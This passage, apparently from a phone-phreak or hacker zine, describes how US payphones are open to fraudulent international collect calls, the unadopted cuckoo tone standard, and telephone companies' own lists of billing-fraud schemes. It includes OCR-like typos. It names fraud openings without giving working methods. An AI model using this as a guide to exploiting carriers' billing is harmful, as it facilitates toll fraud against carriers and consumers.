international standard (shit, we balked at using metrics, why not this too?).
To this day, the TFPC is still bouncing around ideas for this. And the
susceptibility of United States payphones to intemational incoming collect
calls remains wide open. Various phone companies are currently fighting the
cuckoo tone system, because they are cheap mothers and dont want to spend the
estimated $500-700 per payphone to install the cuckoo tone technology. If the
cuckoo tone were implemented, it would virtually eliminate the problem of
international incoming collect calls. But it hasn't been ....
Other brilliant "secondary" solutions recommended by the TFTP are:
1) Eliminate the ringer on the payphone.
2) Route all such calls thru a United States operator.
3) Eliminate incoming service to payphones altogether.
And so on. As you can see, this is a fascinating story, and the latest TFTP
meeting ended with the note "The issue was discussed at some length with the
end result of it becoming a new issue." Truly the work of geniuses.
In closing, I want to share with you a quote from an article I dug out from
a pile of coffee grinds. It's from Payphone Exchange Magazine.
The fewer the number of people aware of a primary line of defense coming
down, the better. Any qualified person reading the hacker and underground
publications knows that many of their articles are written by current LTC and
IXC employees [or people like me who go through their garbage!]. Loose lips
sink ships. Unrestricted distribution of sensitive information permits fraud.
Both cost dearly. Let's stop them both today."
All can say is... fuck that.
According to internal phone company documents that were sent to us,
"fraudulent collect ceiling is an issue that has plagued the telephone industry
for nearly as many years as the service has been available to the public." One
of the biggest problems is, admittedly, that the United States never
implemented the CCITT recommendation to have an internationally recognizable
tone sound when a payphone picks up an incoming call. Prior to 1984, the
United States had a numbering scheme. By using something called the Route
Bulletin, operators from other countries were able to tell if they should
check with the inward operator in the United States to see if the phone was .
payphone ('checking for coin'). This simple procedure greatly reduced the
number of times that the foreign operator had to check with the US operator.
yet was effective at controlling abuse.' A major problem now exists because
after divestiture, this numbering scheme wes abandoned. Added to this was the
introduction of COCOTs (private payphones). Confusion over the true status
of these phones and the growing number of these instruments caused the local
telephone companies to select numbers for these instruments out of the
general (non-coin) number pool. After first suggesting that every country in
the world first consult a database before processing any collect calls to the
United States, the interexchange carriers had a change of heart. The rest of
the world took a rather dim view of the United States imposing its will upon
everyone else end ignoring (as usual) the international standard. As a result,
it's now been suggested by American phone companies that the coin phone
recognition tone be implemented. Apart from everybody else in the world being
opposed to it, the disadvantages of relying upon the database included:
questions about database accuracy, the fact that training would be required,
the fact that validation would require two operators, and that there are no
contractual protections for any database failures. The companies also believe
such a tone will help cut down on fraud within the United States. AT&T says.
"Public and coin phones are very often the vehicle used by defrauders. Posing
es telephone company employers, fraud perpetrators convince consumers to
accept numerous bills to third calls and to give out their billing card PIN. A
signal such as the recognition tone, when nationally recognized by all US
subscribers as signifying a coin phone, could spell an end to scammars who
conduct business from payphones and leave coin phone numbers as a call back
number to their unsuspecting prey." The new system, including a voice message,
will be tested with Pacific Bell. BellSouth, however, believes that the
database system could still be used from oversees, provided the interexchange
carriers set up separate trunks to carry 0+ traffic and do the validation
themselves.
Among the most common forms of third number billing fraud the phone
companies cite: "billing to voice mail, scams, cellular (to and from),
international, billing to unassigned numbers, recorded acceptance messages,
database failures and inaccuracies, as well as no live verification."
AT&T also stated, "With growing frequency, defrauders are establishing
telephone service end billing large numbers of calls to that service, with no
intention of paying the bill. This is often done by providing the LEC (local
company) with fraudulent information on the service application.'
Other issues being discussed within the telco inner circle include
providing COCOTs with their own ANI and an apparent blue box type of fraud
involving US Sprint.